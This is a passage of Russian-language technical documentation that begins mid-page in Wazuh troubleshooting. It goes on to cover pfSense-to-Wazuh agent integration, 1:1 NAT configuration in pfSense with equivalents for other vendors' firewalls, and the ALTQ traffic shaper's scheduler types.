  "https://localhost:9200/_cluster/health?pretty"

# Нераспределенные шарды
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cat/shards?v&h=index,shard,prirep,state,unassigned.reason" \
  | grep UNASSIGNED
```

Типичные причины:

- Узел кластера недоступен - проверьте состояние всех узлов
- Недостаточно места для размещения шардов - освободите дисковое пространство
- Повреждение данных индекса - восстановите из [снимка](/docs/wazuh/operations/wazuh-backup/)

## Проблемы Dashboard

### Dashboard не открывается

```bash
systemctl status wazuh-dashboard
cat /var/log/wazuh-dashboard/opensearch_dashboards.log | tail -50
```

### Ошибка подключения к индексатору

Dashboard не может подключиться к индексатору:

```
FATAL  Error: connect ECONNREFUSED 127.0.0.1:9200
```

Убедитесь, что индексатор запущен и доступен:

```bash
systemctl status wazuh-indexer
curl -sk -u admin:<PASSWORD> "https://localhost:9200/"
```

Проверьте конфигурацию подключения в `/etc/wazuh-dashboard/opensearch_dashboards.yml`:

```yaml
opensearch.hosts: ["https://localhost:9200"]
opensearch.ssl.verificationMode: certificate
opensearch.username: "kibanaserver"
opensearch.password: "<PASSWORD>"
```

### Ошибки SSL-сертификатов

```
Error: unable to verify the first certificate
```

Проверьте пути и срок действия сертификатов:

```bash
grep "server.ssl" /etc/wazuh-dashboard/opensearch_dashboards.yml
openssl x509 -in /etc/wazuh-dashboard/cert.pem -text -noout | grep "Not After"
```

### Плагин Wazuh показывает ошибку

Если дашборд открывается, но плагин Wazuh отображает ошибку:

1. Проверьте конфигурацию плагина:

```bash
cat /usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
```

2. Убедитесь, что API менеджера доступен:

```bash
curl -sk -u wazuh-wui:<PASSWORD> \
  "https://localhost:55000/manager/info" | jq '.data'
```

## Проблемы производительности

### Высокая загрузка CPU менеджера

Проверьте количество событий в секунду:

```bash
# Статистика analysisd
cat /var/ossec/var/run/wazuh-analysisd.state

# Статистика remoted
cat /var/ossec/var/run/wazuh-remoted.state
```

Меры по снижению нагрузки:

- Исключите шумные источники через фильтрацию на уровне агента
- Увеличьте интервал мониторинга файлов (FIM)
- Отключите неиспользуемые модули в [конфигурации менеджера](/docs/wazuh/infrastructure/wazuh-server-cluster/)

### Медленные запросы к индексатору

```bash
# Запросы, выполняющиеся дольше 5 секунд
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_nodes/hot_threads"

# Статистика индексов
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cat/indices/wazuh-alerts-*?v&s=docs.count:desc&h=index,docs.count,store.size"
```

Рекомендации:

- Настройте политику управления жизненным циклом индексов (ISM)
- Увеличьте heap JVM (но не более 50% RAM)
- Добавьте узлы в [кластер индексатора](/docs/wazuh/infrastructure/wazuh-indexer-cluster/)

### Задержка доставки алертов

Если между возникновением события и появлением алерта в дашборде проходит значительное время:

1. Проверьте очередь analysisd:

```bash
cat /var/ossec/var/run/wazuh-analysisd.state | grep queue
```

2. Проверьте Filebeat:

```bash
filebeat test output
cat /var/log/filebeat/filebeat | tail -20
```

3. Проверьте задержку индексации:

```bash
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cat/thread_pool/write?v&h=node_name,active,queue,rejected"
```

## Режим отладки

Для более детальной диагностики включите режим отладки.

### Debug-режим менеджера

В `/var/ossec/etc/internal_options.conf` установите:

```
analysisd.debug=2
remoted.debug=2
```

Перезапустите менеджер:

```bash
systemctl restart wazuh-manager
```

Журнал будет содержать значительно больше информации. Не забудьте отключить debug-режим после диагностики для снижения нагрузки.

### Debug-режим агента

В `/var/ossec/etc/internal_options.conf` (или `local_internal_options.conf`) на хосте агента:

```
agent.debug=2
logcollector.debug=2
```

```bash
systemctl restart wazuh-agent
```

### Debug-режим индексатора

В `/etc/wazuh-indexer/opensearch.yml`:

```yaml
logger.level: debug
```

```bash
systemctl restart wazuh-indexer
```

## Сбор диагностических данных

При обращении в поддержку или сообщество подготовьте следующие данные:

```bash
# Версии компонентов
rpm -qa | grep wazuh   # или dpkg -l | grep wazuh

# Статус всех сервисов
systemctl status wazuh-manager wazuh-indexer wazuh-dashboard filebeat

# Конфигурация менеджера (без паролей)
cat /var/ossec/etc/ossec.conf | grep -v -i password

# Последние 200 строк журналов
tail -200 /var/ossec/logs/ossec.log > /tmp/wazuh-diag-ossec.log
tail -200 /var/log/wazuh-indexer/wazuh-indexer.log > /tmp/wazuh-diag-indexer.log

# Состояние кластера
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cluster/health?pretty" > /tmp/wazuh-diag-cluster.json

# Информация о системе
uname -a
free -h
df -h
```

Соберите файлы из `/tmp/wazuh-diag-*` и приложите к обращению.

## Связанные разделы

- [Обновление Wazuh](/docs/wazuh/operations/wazuh-upgrade/) - проблемы после обновления
- [Резервное копирование](/docs/wazuh/operations/wazuh-backup/) - восстановление при сбоях
- [API сервера](/docs/wazuh/infrastructure/wazuh-server-api/) - диагностика через API
- [Кластер индексатора](/docs/wazuh/infrastructure/wazuh-indexer-cluster/) - проблемы кластера



---

# Мониторинг pfSense с помощью Wazuh

Source: https://opennix.org/docs/pfsense/pfsense-wazuh-integration/


Для интеграции pfSense с Wazuh можно выбрать несколько путей. Наиболее простым из них является использование syslog. Однако для этой цели также можно воспользоваться Wazuh agent.

В образах pfSense, опубликованных в Yandex Cloud Marketplace и VK Cloud Marketplace, агент Wazuh уже установлен как нативный пакет pfSense. На этих образах установку можно пропустить и сразу переходить к настройке. 

> **Внимание**:
>
> Не рекомендуется устанавливать пакеты для pfSense из репозиториев FreeBSD, так как это может значительно увеличить вероятность возникновения проблем и неполадок в работе pfSense.
> 

1. Для начала необходимо включить автозапуск агента. Для этого следует отредактировать файл `/etc/rc.conf.local` и заменить строку  `wazuh_agent_enable="NO"` на `wazuh_agent_enable="YES"`, либо выполнить следующую команду:

```shell
sysrc -f /etc/rc.conf.local wazuh_agent_enable="YES"
```

Далее необходимо настроить подключение агента к Wazuh Cluster. Для этого необходимо отредактировать файл `/var/ossec/etc/ossec.conf` и заменить `IP` на `IP-адрес` или FQDN Wazuh cluster:

```xml
  <client>
    <server>
      <address>IP</address>
    </server>
    <config-profile></config-profile>
    <crypto_method>aes</crypto_method>
  </client>

```
2. Следующим шагом требуется запустить агент, выполнив команду:
   
```shell
service wazuh-agent start
```
3. Чтобы оптимизировать использование дискового пространства, рекомендуется настроить задачу в crontab для автоматической очистки старых логов агента, например, тех, которые старше 30 дней.

Для этого требуется выполнить следующую команду: 
```shell
crontab -e

```
Пример команды очистки:
```text
0 4 * * * find /var/ossec/logs/ossec/ -d 1 -mtime +30 -type d -exec rm -rf {} \; > /dev/null
```
После старта агент должен зарегистрировать в Wazuh. Для проверки необходимо подключиться к Wazuh master посредством ssh и выполнить следующую команду:

```shell
cd /var/ossec/bin/
./agent_control  -l 
```
При правильной настройке пользователь должны видеть состояние pfSense как ‘Active’.

```shell
Wazuh agent_control. List of available agents:
   ID: 000, Name: wazuh (server), IP: 127.0.0.1, Active/Local
   ID: 001, Name: pfsense.ru-central1.internal, IP: any, Active

```
Также в веб-интерфейсе Wazuh пользователь должен увидеть нового агента.
![Веб-интерфейс Wazuh с добавленным агентом pfSense](/img/pfsense-wazuh.webp)
<p style="text-align: center;">Рис. 1. Веб-интерфейс Wazuh с добавленным агентом</p>

Первоначальная настройка завершена, теперь требуется внести изменения в Wazuh.

## Настройка Suricata в pfSense с отправкой журналов в Wazuh

В первую очередь требуется установить [Suricata](/docs/yc/pfsense/suricata-integration/) 

> **Внимание**:
> Если вы уже используете Suricata, этот шаг можно пропустить.

Пользователю следует убедиться, что установлены два параметра для нужных ему интерфейсов: 

* EVE Json Log - отмечен чекбоксом;
* EVE Output Type - выбран тип “File. 

![Настройка EVE Output в Suricata для Wazuh](/img/suricata-eve-wazuh.webp)
<p style="text-align: center;">Рис. 2. Eve output setting</p>

Остальные параметры eve.json можно установить по усмотрению пользователя во время настройки.

2. Чтобы Wazuh начал анализировать события от Suricata, необходимо в конфигурационный файл `/var/ossec/etc/ossec.conf` добавить следующие строки:

```xml
<localfile>
    <log_format>json</log_format>
    <location>/var/log/suricata/*/eve.json</location>
</localfile>
```
И перезапустить агент следующей командой: 

```shell
service wazuh-agent restart
```

## Настройка для Firewall Logs

В файл конфигурации `/var/ossec/etc/ossec.conf` необходимо добавить следующие строки: 

```xml
<localfile>
	<log_format>syslog</log_format>
	<location>/var/log/filter.log</location>
</localfile>
```
После чего перезапустить агент. 

Правило события отбрасывания фаервола pfSense по умолчанию не регистрируется, как указано строкой `<options>no_log</options>` в объявлении [правила](https://github.com/wazuh/wazuh/blob/master/ruleset/rules/0540-pfsense_rules.xml?ref=benheater.com#L22).

> **Внимание**:
> Активация логирования этого правила может значительно увеличить объем журналов!

По умолчанию, если брандмауэр pfSense выполняет несколько запросов из одного источника, в журнал заносится событие блокировки. Если вы хотите, чтобы событие блокировки от фаервола pfSense регистрировалось в Wazuh, вы можете изменить это поведение. Ниже показано, как это сделать.

### Создание файла пользовательских правил

1. Необходимо открыть меню Wazuh и перейти в раздел `Management > Rules`.

![Панель управления правилами Wazuh](/img/wazuh-pf-rules.webp)
<p style="text-align: center;">Рис. 3. Панель управления Wazuh</p>

2. В открывшемся окне необходимо найти правила для pfSense:

![Список правил pfSense в Wazuh](/img/wazuh-default-pf-rules.webp)
<p style="text-align: center;">Рис. 4. Список правил </p>

3. Чтобы открыть правила в файле `0540-pfsense_rules.xml`, необходимо кликнуть на нужное и скопировать содержимое:

```xml
<group name="pfsense,">
  <rule id="87700" level="0">
    <decoded_as>pf</decoded_as>
    <program_name>filterlog</program_name>
    <description>pfSense firewall rules grouped.</description>
  </rule>

  <!-- We don't log firewall events, because they go
    -  to their own log file.
    -->
  <rule id="87701" level="5">
    <if_sid>87700</if_sid>
    <action>block</action>
    <options>no_log</options>
    <description>pfSense firewall drop event.</description>
    <group>firewall_block,pci_dss_1.4,gpg13_4.12,hipaa_164.312.a.1,nist_800_53_SC.7,tsc_CC6.7,tsc_CC6.8,</group>
  </rule>

  <rule id="87702" level="10" frequency="18" timeframe="45" ignore="240">
    <if_matched_sid>87701</if_matched_sid>
    <same_source_ip />
    <description>Multiple pfSense firewall blocks events from same source.</description>
    <mitre>
      <id>T1110</id>
    </mitre>
    <group>multiple_blocks,pci_dss_1.4,pci_dss_10.6.1,gpg13_4.12,hipaa_164.312.a.1,hipaa_164.312.b,nist_800_53_SC.7,nist_800_53_AU.6,tsc_CC6.7,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
  </rule>
</group>

```
3. Следующим шагом требуется вернуться на предыдущий экран и выбрать `Add new rules file`.
   
Название нового файла может быть любым, например `custom-pfSense-overrides.xml`. Ниже приведено его примерное содержание:

```xml
<group name="pfsense,">
  <rule id="87700" level="0">
    <decoded_as>pf</decoded_as>
    <program_name>filterlog</program_name>
    <description>pfSense firewall rules grouped.</description>
  </rule>

  <!-- We don't log firewall events, because they go
    -  to their own log file.
    -->
  <rule id="87701" level="5" overwrite="yes">
    <if_sid>87700</if_sid>
    <action>block</action>
    <description>pfSense firewall drop event.</description>
    <group>firewall_block,pci_dss_1.4,gpg13_4.12,hipaa_164.312.a.1,nist_800_53_SC.7,tsc_CC6.7,tsc_CC6.8,</group>
  </rule>

  <rule id="87702" level="10" frequency="18" timeframe="45" ignore="240">
    <if_matched_sid>87701</if_matched_sid>
    <same_source_ip />
    <description>Multiple pfSense firewall blocks events from same source.</description>
    <mitre>
      <id>T1110</id>
    </mitre>
    <group>multiple_blocks,pci_dss_1.4,pci_dss_10.6.1,gpg13_4.12,hipaa_164.312.a.1,hipaa_164.312.b,nist_800_53_SC.7,nist_800_53_AU.6,tsc_CC6.7,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
  </rule>
</group>
```
В примере выше удалено `<option>no_log</option>` и добавлено `overwrite` для правила.

4. Далее следует нажать `Save`, а затем `Restart`, как это показано на рисунке 5. 

![Окно сохранения пользовательских правил Wazuh](/img/wazuh-pf-custom-rule.webp)
<p style="text-align: center;">Рис 5. Окно сохранения настроек и перезапуска </p>

5. Необходимо подтвердить применяемые настройки, как это показано на рисунке 6. 

![Окно подтверждения применения правил Wazuh](/img/wazuh-pf-custom-rule-confirm.webp)
<p style="text-align: center;">Рис. 6. Окно подтверждения настроек </p>

Теперь пользователь будет получать события firewall для агента Wazuh на pfSense. Окно событий представлено на рисунке 7. 

![События firewall агента Wazuh на pfSense](/img/pfsense-wazuh-result.webp)
<p style="text-align: center;">Рис. 7. Окно событий firewall для агента Wazuh на pfSense
 </p>
 На этом настройка закончена. 

---

# 1:1 NAT в pfSense - статическая трансляция адресов

Source: https://opennix.org/docs/pfsense/nat/pfsense-one-to-one-nat/


1:1 NAT (one-to-one NAT) в pfSense реализует полную двустороннюю трансляцию между внешним и внутренним IP-адресом. В отличие от проброса портов, при котором транслируются только указанные порты, 1:1 NAT устанавливает биективное соответствие адресов: весь входящий трафик на внешний адрес перенаправляется на внутренний хост, а весь исходящий трафик от этого хоста транслируется в назначенный внешний адрес. Механизм основан на BINAT (bidirectional NAT) подсистемы pf из OpenBSD.

1:1 NAT применяется в сценариях, когда внутреннему серверу требуется полное присутствие на выделенном публичном IP-адресе без ограничений по портам. Типичные случаи: почтовые серверы, VPN-шлюзы, SIP-серверы и хосты в DMZ с выделенным адресом.

## Отличия от проброса портов

Проброс портов (port forward) и 1:1 NAT решают схожую задачу - предоставление доступа к внутренним ресурсам извне, - однако принципиально различаются по области применения.

При пробросе портов транслируется конкретная пара протокол/порт (или диапазон портов). Внутренний хост остаётся доступен извне только по явно указанным портам. Это минимизирует поверхность атаки: администратор контролирует, какие именно сервисы открыты.

При 1:1 NAT транслируется весь адрес целиком. Контроль доступа полностью возлагается на правила файрвола: без ограничивающих правил на WAN-интерфейсе все порты внутреннего хоста будут доступны из интернета.

| Характеристика | Проброс портов | 1:1 NAT |
|---|---|---|
| Гранулярность | Конкретные порты или диапазоны | Все порты и протоколы |
| Количество правил для одного сервера | По одному на каждый сервис | Одно правило на весь хост |
| Контроль доступа | Встроен в правило NAT | Требует отдельных правил файрвола |
| Поверхность атаки | Минимальная | Зависит от правил файрвола |
| Требование VIP | Нет (используется WAN IP) | Да (требуется выделенный IP) |
| Исходящий трафик | Транслируется в WAN IP | Транслируется в назначенный VIP |
| Приоритет обработки | Выше (обрабатывается первым) | Ниже (обрабатывается после port forward) |

> **Внимание**:
>
> Если для одного внешнего адреса настроены и проброс порта, и 1:1 NAT, проброс порта получит приоритет для совпавших портов. Остальной трафик обработает 1:1 NAT. Этот факт необходимо учитывать при планировании конфигурации.

## Когда использовать 1:1 NAT

1:1 NAT следует применять в следующих случаях:

- **Выделенный публичный IP для сервера** - сервер должен быть доступен по всем портам на собственном публичном адресе (почтовый сервер, игровой сервер, PBX).
- **DMZ с несколькими серверами** - каждый сервер в DMZ получает отдельный публичный IP из выделенного блока адресов.
- **Совместимость протоколов** - некоторые протоколы (SIP, FTP active mode, отдельные VPN-реализации) работают некорректно через проброс портов из-за встраивания IP-адреса в тело пакета. 1:1 NAT решает эту проблему, поскольку транслирует адрес на всех уровнях.
- **Упрощение конфигурации** - вместо десятков правил проброса для одного сервера создаётся одно правило 1:1 NAT и набор правил файрвола.
- **Трансляция подсетей** - 1:1 NAT позволяет транслировать целые подсети с совпадающей маской (например, `/28` на `/28`), что удобно при миграции адресных пространств.

Не следует использовать 1:1 NAT, если:

- Для сервера достаточно открыть один-два порта - проброс портов проще и безопаснее.
- Внешний адрес совпадает с основным WAN IP, а на файрволе работают VPN-сервисы (OpenVPN, IPsec), требующие использования WAN-адреса.
- Необходим NAT только для входящего трафика без изменения исходящего адреса.

## Предварительные требования

### Виртуальные IP-адреса (VIP)

Для настройки 1:1 NAT с дополнительным публичным IP-адресом необходимо предварительно создать Virtual IP (VIP) на WAN-интерфейсе. VIP сообщает pfSense, что файрвол должен принимать трафик, адресованный этому дополнительному IP-адресу.

Создание VIP:

1. Перейти в **Firewall > Virtual IPs**.
2. Нажать **Add**.
3. Заполнить параметры:
   - **Type** - IP Alias (для одиночного адреса) или Other (для маршрутизируемых подсетей).
   - **Interface** - WAN (или соответствующий внешний интерфейс).
   - **Address(es)** - публичный IP-адрес с маской подсети (обычно `/32` для одиночного адреса).
   - **Description** - назначение адреса (например, "Mail server public IP").
4. Нажать **Save**, затем **Apply Changes**.

> **Внимание**:
>
> Тип VIP **CARP** используется в конфигурациях высокой доступности (HA). Для 1:1 NAT на автономном файрволе рекомендуется тип **IP Alias**. Тип **Proxy ARP** также допустим, однако IP Alias предпочтительнее, поскольку создаёт адрес непосредственно на интерфейсе, что обеспечивает корректную работу сервисов, привязанных к интерфейсу.

### Маршрутизация

Провайдер должен маршрутизировать дополнительные публичные адреса на WAN-интерфейс файрвола. Без корректной маршрутизации со стороны провайдера 1:1 NAT не будет функционировать - пакеты к внешнему адресу не достигнут файрвола.

Для маршрутизируемых подсетей (/29, /28 и т.д.), предоставленных провайдером, тип VIP следует выбирать в зависимости от способа доставки: IP Alias для адресов, находящихся в одной подсети с WAN-интерфейсом, или Other для адресов, маршрутизируемых через шлюз.

## Настройка 1:1 NAT

### Создание правила

1. Перейти в **Firewall > NAT**, вкладка **1:1**.
2. Нажать **Add** для создания нового правила.

![Список правил 1:1 NAT](/img/pfsense/pfsense-nat-1to1-list.webp)
<p style="text-align: center;">Рис. 1. Список правил 1:1 NAT</p>

3. Заполнить параметры правила:

| Поле | Описание | Пример значения |
|---|---|---|
| **Interface** | Внешний интерфейс, на котором принимается трафик | WAN |
| **External subnet IP** | Публичный IP-адрес (VIP), назначенный для трансляции | 203.0.113.10 |
| **Internal IP** | Внутренний IP-адрес целевого хоста или подсеть с маской | 10.0.1.50 или 10.0.1.0/24 |
| **Destination** | Ограничение трансляции по адресу назначения (опционально) | Any |
| **Description** | Описание назначения правила | Mail server 1:1 NAT |
| **NAT Reflection** | Режим NAT reflection (использовать системный или переопределить) | Use system default |
| **Negate** | Исключить совпавший трафик из трансляции (инверсия правила) | Не отмечен |

4. Нажать **Save**, затем **Apply Changes**.

![Редактирование правила 1:1 NAT](/img/pfsense/pfsense-nat-1to1-edit.webp)
<p style="text-align: center;">Рис. 2. Форма редактирования правила 1:1 NAT</p>

### Трансляция подсетей

1:1 NAT поддерживает трансляцию целых подсетей при условии совпадения масок. Например, для трансляции блока `/28`:

- **External subnet IP** - `203.0.113.16/28`
- **Internal IP** - `10.0.1.16/28`

В этом случае `203.0.113.17` транслируется в `10.0.1.17`, `203.0.113.18` в `10.0.1.18` и так далее. Последние октеты адресов совпадают, что упрощает документирование и диагностику.

### Ограничение по назначению

Поле **Destination** позволяет ограничить область действия 1:1 NAT. По умолчанию трансляция применяется ко всему трафику (Any). Если указать конкретный адрес или подсеть в поле Destination:

- Для входящего трафика - трансляция применяется только к пакетам, адресованным указанному внутреннему хосту/подсети.
- Для исходящего трафика - трансляция адреса источника выполняется только для пакетов, направленных к указанному адресу назначения.

Это полезно в сценариях, когда сервер должен использовать разные внешние адреса для трафика к разным направлениям.

## Правила файрвола

1:1 NAT не создаёт автоматических правил файрвола (в отличие от проброса портов, который может генерировать связанные правила). После настройки 1:1 NAT необходимо вручную создать разрешающие правила на WAN-интерфейсе.

### Создание правил для 1:1 NAT

Правила создаются на вкладке WAN в **Firewall > Rules**. В качестве адреса назначения следует указывать **внутренний** IP-адрес хоста, поскольку трансляция NAT выполняется до обработки правил файрвола.

Пример набора правил для почтового сервера `10.0.1.50` с 1:1 NAT:

| Действие | Протокол | Источник | Порт назначения | Назначение |
|---|---|---|---|---|
| Pass | TCP | Any | 25 (SMTP) | 10.0.1.50 |
| Pass | TCP | Any | 465 (SMTPS) | 10.0.1.50 |
| Pass | TCP | Any | 993 (IMAPS) | 10.0.1.50 |
| Pass | TCP | Any | 443 (HTTPS) | 10.0.1.50 |

> **Внимание**:
>
> Не создавайте правило "Allow all" на WAN для адреса 1:1 NAT. В отличие от проброса портов, при 1:1 NAT разрешающее правило без ограничений по портам откроет все порты внутреннего сервера для доступа из интернета, включая SSH, RDP, базы данных и другие сервисы, не предназначенные для публичного доступа.

### Распространённые ошибки

1. **Указание внешнего адреса в правиле файрвола** - при 1:1 NAT в правилах WAN необходимо указывать внутренний IP-адрес в поле Destination, поскольку трансляция происходит до фильтрации.
2. **Отсутствие правил файрвола** - без явных разрешающих правил весь входящий трафик блокируется неявным правилом deny, несмотря на настроенный 1:1 NAT.
3. **Конфликт с пробросом портов** - если для того же внешнего IP настроен проброс порта, он перехватит трафик на указанных портах раньше 1:1 NAT.

## Сравнение с пробросом портов

Выбор между 1:1 NAT и пробросом портов зависит от требований конкретного сценария.

| Критерий | 1:1 NAT | Проброс портов |
|---|---|---|
| Количество открытых портов | Все (ограничиваются правилами файрвола) | Только явно указанные |
| Требуется VIP | Да | Нет (можно использовать WAN IP) |
| Исходящий адрес хоста | Транслируется в назначенный VIP | Транслируется в WAN IP (outbound NAT) |
| Сложность настройки | Одно правило NAT + правила файрвола | Одно правило NAT на каждый порт/сервис |
| Рекомендуется для | Серверов с множеством сервисов, DMZ | Единичных сервисов (веб, SSH, RDP) |
| Безопасность по умолчанию | Требует тщательной настройки правил файрвола | Ограничена указанными портами |
| Совместимость с VPN на файрволе | Ограничена (нельзя использовать WAN IP) | Полная |
| Поддержка подсетей | Да | Нет |

Рекомендация: если для сервера достаточно открыть менее пяти портов и не требуется фиксированный исходящий адрес, проброс портов предпочтительнее с точки зрения безопасности. Для серверов с большим количеством сервисов или требованием выделенного публичного адреса следует использовать 1:1 NAT.

## Устранение неполадок

### 1:1 NAT не работает

**Трафик не достигает внутреннего сервера:**

1. Проверить наличие VIP - **Firewall > Virtual IPs**. Без VIP файрвол не принимает трафик на дополнительном адресе.
2. Проверить маршрутизацию от провайдера - выполнить `ping` и `traceroute` к внешнему адресу с внешнего хоста. Пакеты должны доходить до WAN-интерфейса файрвола.
3. Проверить правила файрвола на WAN - убедиться, что существует разрешающее правило с внутренним IP в поле Destination.
4. Проверить журнал файрвола - **Status > System Logs > Firewall**. Заблокированные пакеты отображаются с указанием правила, вызвавшего блокировку.

**Исходящий трафик сервера использует неверный внешний адрес:**

1. Проверить, что правило 1:1 NAT не имеет ограничений в поле Destination, если требуется трансляция всего исходящего трафика.
2. Проверить порядок правил - 1:1 NAT имеет приоритет над outbound NAT. Если правило outbound NAT обрабатывает трафик раньше, возможно наличие конфликта конфигурации.
3. Проверить с помощью внешнего сервиса (например, `curl ifconfig.me` с сервера) - отображаемый адрес должен совпадать с External subnet IP из правила 1:1 NAT.

**NAT reflection не работает:**

При обращении к внешнему адресу из внутренней сети:

1. Проверить настройки NAT reflection в **System > Advanced > Firewall & NAT**, раздел Network Address Translation.
2. Для 1:1 NAT reflection должен быть включён режим **NAT + proxy** или **Pure NAT**.
3. Убедиться, что в правиле 1:1 NAT не установлено переопределение reflection в значение "Disable".

### Диагностические команды

```bash
# Check if VIP responds to ARP
arping -I em0 203.0.113.10

# Verify NAT translation in packet filter
pfctl -s nat

# Check state table for specific host
pfctl -ss | grep 10.0.1.50

# Test connectivity from WAN perspective
tcpdump -i em0 host 203.0.113.10 -n
```

## Миграция с других платформ

### Cisco ASA

В Cisco ASA статическая трансляция настраивается командой `static` (версии до 8.3) или объектами NAT (версии 8.3+).

**ASA 8.3+ (Object NAT):**

```
object network MAIL-SERVER
 host 10.0.1.50
 nat (DMZ,OUTSIDE) static 203.0.113.10
```

Эквивалент в pfSense:

1. Создать VIP `203.0.113.10` на WAN-интерфейсе.
2. Создать правило 1:1 NAT: External `203.0.113.10`, Internal `10.0.1.50`, Interface WAN.
3. Создать правила файрвола на WAN для разрешённых портов.

Ключевое отличие: в ASA ACL применяется к интерфейсу и использует реальные (после трансляции) адреса начиная с версии 8.3. В pfSense правила файрвола всегда оперируют внутренними адресами, поскольку трансляция выполняется до фильтрации.

### FortiGate

В FortiGate аналогом 1:1 NAT является VIP (Virtual IP) с типом "static-nat" без ограничения портов.

```
config firewall vip
    edit "MAIL-SERVER-VIP"
        set extip 203.0.113.10
        set mappedip 10.0.1.50
        set extintf "wan1"
    next
end

config firewall policy
    edit 10
        set srcintf "wan1"
        set dstintf "dmz"
        set srcaddr "all"
        set dstaddr "MAIL-SERVER-VIP"
        set service "SMTP" "SMTPS" "IMAPS" "HTTPS"
        set action accept
    next
end
```

В pfSense конфигурация разделена на три элемента: VIP, правило 1:1 NAT и правила файрвола. В FortiGate VIP объединяет функции VIP и NAT-правила pfSense.

### MikroTik RouterOS

В MikroTik RouterOS 1:1 NAT реализуется комбинацией двух правил NAT: `dst-nat` для входящего и `src-nat` для исходящего трафика.

```
/ip firewall nat
add chain=dstnat dst-address=203.0.113.10 action=dst-nat to-addresses=10.0.1.50
add chain=srcnat src-address=10.0.1.50 action=src-nat to-addresses=203.0.113.10
```

В pfSense оба направления трансляции объединены в одном правиле 1:1 NAT. Это упрощает конфигурацию и исключает несогласованность между правилами входящей и исходящей трансляции.

Дополнительное отличие: в MikroTik RouterOS правила файрвола в цепочке `forward` по умолчанию имеют политику accept, тогда как в pfSense действует неявный deny. При миграции необходимо создать все разрешающие правила явно.

## Связанные разделы

- [Проброс портов](/docs/pfsense/nat/pfsense-port-forwarding/) - перенаправление входящего трафика на внутренние серверы по конкретным портам
- [Исходящий NAT](/docs/pfsense/nat/pfsense-outbound-nat/) - управление трансляцией адресов исходящего трафика
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание правил фильтрации, необходимых для работы 1:1 NAT
- [Обзор NAT в pfSense](/docs/pfsense/nat/) - порядок обработки NAT, поведение по умолчанию и взаимодействие механизмов трансляции


---

# ALTQ Traffic Shaper в pfSense - визарды и настройка QoS

Source: https://opennix.org/docs/pfsense/traffic-shaper/pfsense-shaper-wizards/


ALTQ (Alternate Queuing) - фреймворк управления очередями, встроенный в pf (packet filter) FreeBSD. В pfSense ALTQ обеспечивает приоритизацию трафика, гарантированную полосу пропускания для критичных приложений и иерархическое распределение пропускной способности канала. ALTQ работает через систему очередей: трафик классифицируется правилами файрвола и направляется в соответствующие очереди, каждая из которых имеет собственные параметры приоритета и полосы пропускания.

Принципиальное отличие ALTQ от Limiters заключается в возможности заимствования полосы пропускания. Если очередь VoIP не использует выделенные ей 2 Mbit/s, эта полоса автоматически перераспределяется между другими очередями. Limiters не поддерживают такого поведения - неиспользованная полоса пропускания в dummynet pipe пропадает.

> **Внимание**:
>
> ALTQ тесно связан с драйверами сетевых адаптеров. Не все драйверы поддерживают ALTQ - перед настройкой необходимо убедиться в совместимости используемых сетевых карт. Активация ALTQ снижает максимальную пропускную способность межсетевого экрана, поскольку обработка очередей создаёт дополнительную нагрузку на процессор.

## Типы планировщиков

pfSense поддерживает четыре типа планировщиков ALTQ. Планировщик определяет алгоритм распределения полосы пропускания между очередями.

### PRIQ (Priority Queuing)

Простейший тип планировщика. Все очереди располагаются на одном уровне непосредственно под корневой очередью - иерархическая вложенность не поддерживается. Каждой очереди назначается приоритет от 0 до 15, где 15 - наивысший приоритет. Очереди с более высоким приоритетом обслуживаются в первую очередь.

**Достоинства:** простота настройки и понимания, минимальные накладные расходы на обработку.

**Недостатки:** жёсткий приоритет без механизма справедливости. Очереди с высоким приоритетом могут полностью вытеснить трафик очередей с низким приоритетом (starvation). PRIQ не учитывает полосу пропускания - распределение основано исключительно на приоритетах.

**Применение:** сценарии, где необходима безусловная приоритизация одного типа трафика над другим и полоса пропускания канала достаточна для предотвращения голодания низкоприоритетных очередей.

### CBQ (Class-Based Queuing)

Поддерживает иерархическую структуру очередей с возможностью заимствования полосы пропускания от родительской очереди. Приоритеты назначаются в диапазоне от 0 до 7. Очереди с одинаковым приоритетом обслуживаются по принципу round-robin.

Сумма полосы пропускания дочерних очередей не должна превышать полосу пропускания родительской очереди. Дочерние очереди могут заимствовать неиспользованную полосу пропускания у родительской очереди, но не у соседних (sibling) очередей.

**Достоинства:** поддержка иерархии, заимствование полосы, предсказуемое поведение.

**Недостатки:** не гарантирует минимальную полосу пропускания в абсолютном выражении - только пропорциональное распределение с заимствованием.

**Применение:** сценарии, где требуется распределение полосы пропускания по классам трафика с возможностью динамического перераспределения неиспользуемых ресурсов.

### HFSC (Hierarchical Fair Service Curve)

Наиболее функциональный планировщик. Поддерживает иерархическую структуру очередей и предоставляет гарантии минимальной полосы пропускания через механизм service curves. HFSC оперирует тремя типами кривых обслуживания:

**Upper Limit** - жёсткий потолок полосы пропускания. Трафик очереди не может превысить это значение. Параметр m1 ограничивает burst, d задаёт длительность burst в миллисекундах, m2 определяет постоянный потолок.

**Real Time** - гарантированная минимальная полоса пропускания для дочерних очередей. Значение m2 в real-time curve не должно превышать 30% полосы пропускания родительской очереди. Этот механизм обеспечивает минимальную гарантированную полосу для критичного трафика.

**Link Share** - распределение полосы пропускания после выполнения real-time гарантий. Определяет, как неиспользованная полоса распределяется между очередями.

**Достоинства:** гарантированная полоса пропускания, гибкое управление burst, наиболее полный контроль над распределением ресурсов.

**Недостатки:** сложность настройки, необходимость точного расчёта параметров service curves.

**Применение:** VoIP, видеоконференции, среды с жёсткими требованиями к качеству обслуживания (QoS), где необходима абсолютная гарантия полосы пропускания.

### FAIRQ (Fair Queuing)

Обрабатывает очереди от наивысшего приоритета к низшему, но стремится к справедливому распределению полосы пропускания между всеми соединениями. Пакеты из незаполненных очередей с низким приоритетом обрабатываются раньше пакетов из переполненных очередей с высоким приоритетом.

Соединения могут кратковременно превышать полосу пропускания очереди, но среднее потребление поддерживается на уровне определённого для очереди значения.

**Достоинства:** справедливое распределение предотвращает голодание низкоприоритетного трафика.

**Недостатки:** не поддерживается визардом - требуется исключительно ручная настройка.

**Применение:** сценарии, где справедливость распределения важнее строгой приоритизации.

